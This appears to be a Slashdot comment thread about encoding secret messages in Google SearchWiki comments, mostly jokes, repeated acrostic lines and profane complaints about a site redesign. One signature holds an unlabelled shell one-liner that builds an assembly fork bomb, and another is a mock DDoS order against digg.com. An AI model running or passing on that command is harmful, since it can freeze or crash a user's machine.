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Sending Secret Messages Via Google's SearchWiki
We discussed the advent of Google's SearchWiki when it was introduced a few days back. Now Lauren Weinstein offers a thought experiment in transmitting coded messages using SearchWiki, with a working example encoded into the results of this Google search.
"3 - Will more information about this be available later?"
"4 - Self vs. others is always a major philosophical question."
"5 - Destruct and destroy is not the best of attitudes, my friends."
"6 - In any case, this list looks very useful."
"7 - Five more entries could be added to that list."
"8 - Seconds or thirds or even more helpings could add a lot of calories."
"9 - Good entry. Very fine."
"10 - Luck has nothing to do with these issues."
http://kered.org
Seriously, I'm all for change but this is FUCKING RIDICULOUS!
The main page is now TITLES ONLY? WTF?
The more you try to "upgrade" Slashdot, the more useless it becomes. Morons.
It's a nice idea, but the messages are still being sent in the clear, and anyone monitoring your internet traffic would be able to readily identify which sites were visited and in which order. If you're trying to hide something, this is a poor way of doing so. Especially since it's likely there would be a need for repeated communication, and there's still the problem of "key exchange" as it were. In short, it might fool a casual observer, but I doubt it would get past someone with training -- this is something even an FBI field agent would likely pick up on (note the sarcasm). A proper stenographic technique should perform even under close surveillance.
#fuckbeta #iamslashdot #dicemustdie
Seriously, where did you find this kdawson guy and how exactly did he manage to become an 'editor'?
WTF the internet can be used for communication?
Who'd of thunk it?
Seriously though, how the fuck is this news and why the fuck was it posted on the main page?
It's a secret message letting you know about the upcoming integration of slashdot and google.
If I want communicate my desire to receive p0rn, I enter the term 'p0rn' into Google and someone out there on the interweb sends me links to p0rn.
Have gnu, will travel.
but only obvious if you manage to find all 10 comments. When I did the Google search, I didn't see comments 8, 9, or 10. I had to combine my results with numbers 3-10 listed in the first post to actually get the entire list. Did anybody else notice this? Can wiki comments be removed or bumped out of the search?
Anyway, for completeness:
"1 - This article looks good to me."
"2 - Tape this article to the door of your office!"
"3 - Will more information about this be available later?"
"4 - Self vs. others is always a major philosophical question."
"5 - Destruct and destroy is not the best of attitudes, my friends."
"6 - In any case, this list looks very useful."
"7 - Five more entries could be added to that list."
"8 - Seconds or thirds or even more helpings could add a lot of calories."
"9 - Good entry. Very fine."
"10 - Luck has nothing to do with these issues."
complaining about the potential for abuse is like complaining your search could pull up a porn site. its retarted. if you dont like it then a. keep them minimized and dont read them, or b. go use a different search engine. honestly after reading this lady's page i think she's a paranoid nut who thinks its her job to police everyone.
in short she's a moronic douche.
"Jazz isn't dead, it just smells funny" ~Frank Zappa
EdelFactor
What the hell? I cant see anything but the headlines!
What happened to the articles and tags?!
Climate Progress - Hell and High Water
Since Slashreaders have a YRO section (and hence hew to principles of "I'm in control"). I recommend we have a basic XML feed from the server and everyone running Greasemonkey on their end can pick the features and layout they can live with. Slashdot may even offer a few premades to get things started.
Shai Schticks:"You don't make peace with friends, you make peace with enemies"
<bot-order>
<attack>
<site>digg.com</site>
<type>DDOS</type>
<prejudice>extreme</prejudice>
</attack>
</bot-order>
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Top 10 google trends:
Today's Hot Trends (USA)
1. dancing with the stars 2008 winner
2. orthogonal terwilliger accordion
3. siri pinter
4. chelsea handler playboy
5. brooke burke
6. who won dancing with the stars season 7
7. the shield finale
8. the shield forum
9. melioidosis
10. callies biscuits
It seems that a lot of people are suddenly interested in orthogonal terwilliger accordion. I wonder why?
"Be sure to drink your Ovaltine."
I'm not sure if you're serious, but last night all the rss feeds for slashdot (http://rss.slashdot.org/Slashdot/slashdot) were ending at a google error page.
I am posting a special hidden message right now...can you try and imagine what I might be saying...
so any luck on solving this mystery... I think you might guess wrong.
Those who thought "Hi Bill" was the message...
you get an E for effort, it was hidden in plain sight, but was not the message...
The winner is the one who thought ..."I think he is saying this is a dumb story, anyone can figure out ways of hiding information in plain site using ANY website, newspaper, tv ad etc."
Since we are complaining about /. recent changes, I want to pipe about the metamoderation: I don't understand how it runs anymore. On the firehose (and now main) page you click [+] if the articles are good. Also on the moderation page, if you see a comment moderated insightful and it is so, you click [+]. OK. Now what if it's flaimebait or troll and moderated as such ? Do I click [+] to indicate that the moderation is accurate or do I click [-] to imply that it sucks and the comment should go to the pit of hell ?
Non-Linux Penguins ?